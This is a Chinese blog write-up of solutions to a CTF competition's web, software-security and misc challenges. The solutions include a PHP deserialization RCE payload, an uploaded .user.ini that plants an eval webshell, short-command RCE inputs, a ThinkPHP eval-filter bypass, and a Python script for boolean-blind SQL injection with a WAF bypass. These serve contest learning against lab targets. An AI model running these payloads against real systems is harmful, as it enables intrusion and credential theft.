武功论剑-武功山杯

主办方在举办比赛前就开了三天的视频培训,其中主要讲了npc的重要性,就是每道题都有一个提示的小文件,有些题没有npc提示做不出来,可惜那时候没有认真听哈哈。

Web

驴友小镇

这道题属于是签到题了,但是那时候并没有意识到npc的重要,一时间没做出来,找框架去了
这题的npc是shuyulaoshi

打开这个文件就好http://59.62.61.30:48905/shuyulaoshi.txt

flag在给出的flag_is_not_here.php中,打开源码注释就是

然后要注意本题的hint“书鱼老师”让我转告少侠,邀约天下豪杰,共赴武功之巅,论剑武功,诛灭侯景!邀约天下豪杰,npc其实都在这一题目里

龙溪秘境

这题也属于签到题,这题当时不知道npc都在第一题里,hint提示是拍照局长,然后就爆破各种大小写的组合哈哈。
hint:
拍照局长:少侠,此题仅凭burp亦能破解!此工具妙用无穷,只需巧妙运用,必能解决难题。愿汝坚定信心,奋力一搏

当时也想到弱密码,字典太垃圾了,没爆出来。。

它说我们用户名错误,所以我们先精确爆用户名

字长不同,看来用户名是test

再爆密码
注:要base64编码一次

石能为鼓

反序列化题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
show_source(__FILE__);

class ping {
protected $xiang;

function __construct() {
$this->xiang = new fun();
}

function __destruct() {
$this->xiang->cp();
}
}

class fun {
function cp() {
echo "hello";
}
}

class cup {
private $data;
function cp() {
eval($this->data);
}
}

unserialize($_GET['d']);

解法一:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
show_source(__FILE__);

class ping {
public $xiang;

function __construct() {
$this->xiang = new fun();
}

function __destruct() {
$this->xiang->cp();
}
}

class fun {
function cp() {
echo "hello";
}
}

class cup {
public $data;
function cp() {
eval($this->data);
}
}

$a=new ping();
$b=new cup();
$b->data="system('cat /flag');";
$a->xiang=$b;
echo serialize($a);

解法二:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
show_source(__FILE__);

class ping {
protected $xiang;

function __construct() {
$this->xiang = new cup();
}

function __destruct() {
$this->xiang->cp();
}
}
class cup {
private $data = "system('cat /flag');";
function cp() {
eval($this->data);
}
}
$a = new ping();
echo urlencode(serialize($a));

龙池古庙

hint:
郑隐:老夫在此恭候少侠好久了。少侠可.user.ini的武功秘籍?此文件可用于PHP配置,掌握其内奥,能在Web开发中大展神威,务须细心体悟?

.user.ini文件上传利用

上传.user.ini,把Content-Type改为image/png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST / HTTP/1.1
Host: 59.62.61.30:49947
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------4110285850978386825957764637
Content-Length: 402
Origin: http://59.62.61.30:49947
Connection: close
Referer: http://59.62.61.30:49947/
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------4110285850978386825957764637
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

auto_append_file=.user.ini

#<?php eval($_POST[1]) ;
-----------------------------4110285850978386825957764637
Content-Disposition: form-data; name="submit"

Submit
-----------------------------4110285850978386825957764637--

上传成功,题目给了上传的目录路径
/app/upload/25f6181d708c6ceaea46fd3193c28d9e/.user.ini
进入/upload/25f6181d708c6ceaea46fd3193c28d9e/
看到有index.php

直接访问index.php即可触发.user.ini注释中的php代码。

然后蚁剑连接还是RCE都可以

武功论剑

hint:
陈霸先:朕将御驾亲征,如少侠能使用PHP chain与朕同行,必能将那侯景斩于马。

php链emmm
按照注释进入source.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
show_source(__FILE__);
if(isset($_GET['file'])){
if(preg_match("/flag/i",$_GET['file'])){
echo "no way";
}
else{
$file=$_GET['file'];
include_once($file);
}

}

伪协议可以读取,但是flag被过滤了
用过滤器链的知识,这个知识有点多了
PHP过滤器链:它是什么以及如何使用它

了解了知识后,有一个现成的脚本
php_filter_chain_generator


用linux运行脚本就好,windows下的有会有报错

真君擒龙

hint:
许真君:少侠,曾闻od这一利器否?此工具非同凡响,能透过分析二进制文件的内容和结构,揭示其中的奥秘与潜藏的信息,是破解与调试的重要利器,值得深入学习与掌握。

1
2
3
4
5
6
7
8
<?php
show_source(__FILE__);
$cmd=$_GET['cmd'];
if(isset($cmd)&&strlen($cmd)<6&&!strpos(strtolower($cmd), 'nl')){
system($cmd);
}else{
die("no!no!no!");
}

这个题关键点在于输入的字符要小于6个字符,所以可以RCE的方法就很少
当时再网上找了一个方法,甚至可以缩小到四个字符RCE,使用的是linux中的重定向
可惜他的poc细节有点问题,没能复现出来,但我觉得这个方法是可行的,之后可以深入探究一一下。
5位可控字符下的任意命令执行

本题有两种解法

解法一:

hint提出了od这一命令,了解一下
od是一个用于以多种格式显示文件内容的命令。默认情况下,它以八进制格式显示内容,但也可以使用选项来指定其他格式(如十六进制、字符等)。
我们的paylaod是

1
?cmd=od /*


od /* 表示对根目录下的每个文件和目录内容进行转储,并以八进制(或其他默认格式)显示。
这里python用一个小脚本从八进制恢复成我们可以看的

1
2
s = '0000000 066146 063541 062573 061470 063066 030070 026463 063142 0000020 061065 032055 033071 026460 033070 031546 034455 030471 0000040 061070 060463 030465 031463 076461 000012 0000053'
print(b''.join(int(ss, 8).to_bytes(2, 'little') for ss in s.split()))


把中间未能处理的\x10和\x00去掉就得到我们的flag了

解法二:

有注意到if语句的nl,先了解一下
nl 是一个命令行工具,用于对文件内容的行进行编号。它会输出带有行号的文件内容。

1
!strpos(strtolower($cmd), 'nl')

当时做题的时候确实给我晃到了,以为是把nl过滤了
其实不是,它返回的是匹配的位置
strpost()

所以

所以!strpos(strtolower($cmd), ‘nl’)就是true了,在输入其它字符时也不影响,没有匹配到返回的是false,前面加个!就是true了,很巧妙
所以payload

1
?cmd=nl /*

nl /* 表示对根目录下的每个文件和子目录的内容进行编号,并输出带有行号的内容。

萍水相逢

hint:
孔子:少侠,你可曾听闻过那“可变函数山”?此山深奥莫测,藏于编程之道,若能掌握其中精髓,必能在代码之海中游刃有余,纵横捭阖

这个hint搞不懂
源码有提示有www.zip
下载下来看源码,是thinkphp6框架
d盾扫描app/controller/index.php有eval可以利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
public function index()
{
$white_fun = array(
'print'
);

if(isset($_GET['code'])){
$code = $_GET['code'];
if(preg_match_all('/([\w]+)([\x00-\x1F\x7F\/\*\<\>\%\w\s\\\\]+)?\(/i', $code, $matches1)) {
foreach ($matches1[1] as $value) {
if (function_exists($value) && ! in_array($value, $white_fun)) {
echo '加把劲~';
exit;
}
}
}
if(preg_match('/(new)|(dump)|(content)|(f)|(php)|(base)|(eval)|(assert)|(system)|(exec)|(passthru)|(code)|(chr)|(ord)|(include)|(require)|(request)|(import)|(post)|(get)|(cookie)|(sess)|(server)|(copy)|(hex)|(bin)|( )|(\")|(\/)|(\>)|(\<)|(~)|(\{)|(\})|(\.)|(,)|(`)|(\$)|(_)|(\^)|(!)|(%)|(\+)|(\|)|(dl)|(open)|(mail)|(env)|(ini)|(link)|(url)|(http)|(html)|(conv)|(add)|(str)|(parse)/i', $code)) {
echo '收手吧阿祖';
exit;
}else{
//var_dump($code);
eval($code);
}
}else{
return '就挺秃然的。';
}
}

public function hello($name = 'ThinkPHP6')
{
return 'hello,' . $name;
}
}

payload

1
http://59.62.61.30:47672/public/?code=(('input')('name')(('input')('name1')));&name=system&name1=/readflag

这题没怎么搞懂

禅蕴杨岐

hint:
杨岐禅师:备份文件通常?.xxx.php.swp的形式存在,这种格式常见于编辑器生成的临时文件,务必留意以避免信息泄露或文件损坏?

我们发现.index.php.swp存在泄露源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
function contain($str, $a){
$strpos_res = strpos($str, $a);
if ($strpos_res){
return true;
}
return false;
}

function lvlarrep($str, $v1){
$s = str_ireplace($v1, '', $str);
if (contain($s, $v1)){
$s = lvlarrep($s, $v1);
}
return $s;
}

function waf($str){
$ban_str = explode(',','select,ascii,sub,con,alter table,delete ,drop ,update ,insert into,load_file,/*,*/,union,<script,</script,sleep(,outfile,eval(,user(,phpinfo(),select*,union%20,sleep%20,select%20,delete%20,drop%20,and%20');
foreach($ban_str as $v1){
if (contain($str, $v1)){
$s = lvlarrep($str, $v1);
$str = $s;
}
}
$str = str_replace('\'', '&#39;', $str); // 万恶的单引号,必须转义
return $str;
}

if (isset($_POST['login'])){
$db_host = '127.0.0.1';
$db_user = 'root';
$db_pass = 'toor';
$db_name = 'ctf';

$conn = mysqli_connect($db_host, $db_user, $db_pass, $db_name);
if (!$conn) {
die('数据库连接失败!' . mysqli_connect_error());
}

$username = waf($_POST['username']);
$password = waf($_POST['password']);
$sql = "SELECT * FROM user WHERE `username` = '$username' AND `password` = '$password';";

$query_result = mysqli_query($conn, $sql);
if (mysqli_num_rows($query_result) > 0) {
die('登陆成功!');
}else{
die('哦欧!');
}
}
?>

sql注入,防火墙
题中explode — 使用一个字符串分割另一个字符串
相当于列出黑名单

1
2
3
4
if (contain($str, $v1)){
$s = lvlarrep($str, $v1);
$str = $s;
}

调用contain函数

1
2
3
4
5
6
7
function contain($str, $a){
$strpos_res = strpos($str, $a);
if ($strpos_res){
return true;
}
return false;
}

strpos — 查找字符串首次出现的位置
就是看你的字符串内有没有黑名单的内容,如果有返回true

再调用lvlarrep函数

1
2
3
4
5
6
7
function lvlarrep($str, $v1){
$s = str_ireplace($v1, '', $str);
if (contain($s, $v1)){
$s = lvlarrep($s, $v1);
}
return $s;
}

str_ireplace–把str中的v1替换为空
这里再进行了递归调用,再次检测有无黑名单的内容,v1没有改变,说明检测的还是同一个

再看一下我们的黑名单

1
$ban_str = explode(',','select,ascii,sub,con,alter table,delete ,drop ,update ,insert into,load_file,/*,*/,union,<script,</script,sleep(,outfile,eval(,user(,phpinfo(),select*,union%20,sleep%20,select%20,delete%20,drop%20,and%20');

看似很多被ban了,其实我们可以嵌套来绕过
先上payload

1
login=1&password=or if(asunioncii(suunionbstr((selunionect group_counionncat(username,0x7e,password) from user),1,1))>96,1,0)#&username=admin\

可以看到黑名单里都嵌套了union,仔细看黑名单的内容,union是在select,ascii,sub,con的后面位置,当循环语句匹配到union时,上面password的内容会变为

1
or if(ascii(substr((select group_concat(username,0x7e,password) from user),1,1))>96,1,0)#

循环递归去掉所有v1-union,然后就会匹配到union后面的黑名单,而不会重新检测过滤后的str,值得注意的是题目黑名单是sub和con所以在构造substr和concat的时候要注意插入的位置。因为回显只有登录成功和失败,所以我们采用布尔盲注。

再来注意一下这个语句

1
$str = str_replace('\'', '&#39;', $str);    // 万恶的单引号,必须转义

可以看到下面的查询语句闭合区间为单引号,但是这里把单引号转义了
我们可以通过转义符来绕过
所以我们的username=admin\

这里结合一下sql语句

1
SELECT * FROM user WHERE `username` = 'admin\' AND `password` = 'or if(asunioncii(suunionbstr((selunionect group_counionncat(username,0x7e,password) from user),1,1))>103,1,0)#';

我们把内容直接放进去
\转义了单引号
所以username = ‘admin' AND password = ‘
$password变量还在,形成了一个新的语句,然后后面的#注释掉多余的单引号
到这步我们就成功绕过了防火墙
因为是布尔盲注,所以我们需要写一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import time

if __name__ == '__main__':
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f"or if(asunioncii(suunionbstr((selunionect group_counionncat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0)#"
# payload = f"or if(asunioncii(suunionbstr((selunionect group_counionncat(table_name) from information_schema.tables where table_schema=\"ctf\"),{i},1))>{mid},1,0)#"
# payload = f"or if(asunioncii(suunionbstr((selunionect group_counionncat(column_name) from information_schema.columns where table_name=\"user\"),{i},1))>{mid},1,0)#"
payload = f"or if(asunioncii(suunionbstr((selunionect group_counionncat(username,0x7e,password) from user),{i},1))>{mid},1,0)#"
# print(payload)
url = f"http://59.62.61.30:48057/"
# print(url)
data={
'username': 'admin\\',
'password': f'{payload}',
'login': '1'
}
sess = requests.session()
r = sess.post(url=url,data=data)
print(data['password'])
if '登陆成功' in r.text:
low = mid + 1
time.sleep(0.1)
else:
high = mid
if low != 32:
result += chr(low)
print(result)
else:
break


软件安全

九龙吐水

hint:
罗霄:少侠可知,CE (Cheat Engine) 乃一开源之内存扫描与调试神器。此利器常用于篡改单机游戏之数值,譬如生命值、金钱等。其原理乃通过扫描游戏进程之内存数据,精准定位并修改特定内存地址,以达成修改游戏数据之目的。此物妙用无穷,然需谨慎使用,方能恰如其分

下载CE,这个在官网上下
https://cheatengine.org/

CE使用教程
https://www.cnblogs.com/LyShark/p/10799926.html

打开附件下载的俄罗斯方块

当前的分数为0
在CE上抓取这个进程

数值改为0,点击首次扫描

出现了很多地址,先不管

先玩游戏

现在我们得了20分,更新一下CE的数值,并再次扫描

这次缩小为4个地址,看来我们要再来一次

现在是30,重复上述操作
现在缩小为两个

选其中一个双击添加到地址栏

再次双击改变其值


可以看到成功改变
结束游戏后就可获得flag

misc

星空栈道

下载给了一个base.txt
base64解码

没有什么有用的信息,文件形式保存发现是elf文件
把文件放到liunx执行,需要给权限

龙鳞石阶

hint:
武氏夫妇:传说中,存在一种名为DNS Beacon的邪恶力量,它隐藏在网络深处,悄然发送信号,诱使不明之人误入陷阱

wireshark打开发现有很多dns的请求,发现很多basexxx.ctf.org.cn 的请求
而且结果是无意义的127.0.0.1,猜测这是目标服务器被植入了使用dns协议的木马,根据base的提示,要把请求拼接起来。或者使用过滤 dns.flags == 0x8180 全部出来了

可以通过过滤 ctf.org.cn 或者 base 将请求的域名按顺序取下来,共有 18 个

1
d2hvYW1pCnJvb3QKbHMgLwpmbGFnICBob21lICBsaWIgIGxpYjY0ICBtZWRpYSAgbW50ICBvcHQgIHByb2MgIHJvb3QgIHJ1biAgc2JpbiAgc3J2ICBzeXMgIHRtcCAgdXNyICB2YXIKY2F0IC9mbGFnCmZsYWd7V3VHb25nU2hhbl9XZTFjb21lX1lvb29vb1V9

铁蹄关隘

hint:
欧阳将军:少侠,汝可知steg86乃一件失传已久之神兵利器。此物威力无穷,若能得此神器相助,必能助汝一臂之力,克服眼前之艰难险阻。望汝能找到此神兵,行走江湖,纵横无敌


武功论剑-武功山杯
http://example.com/2024/05/16/wugonglunjian/
作者
奇怪的奇怪
发布于
2024年5月16日
许可协议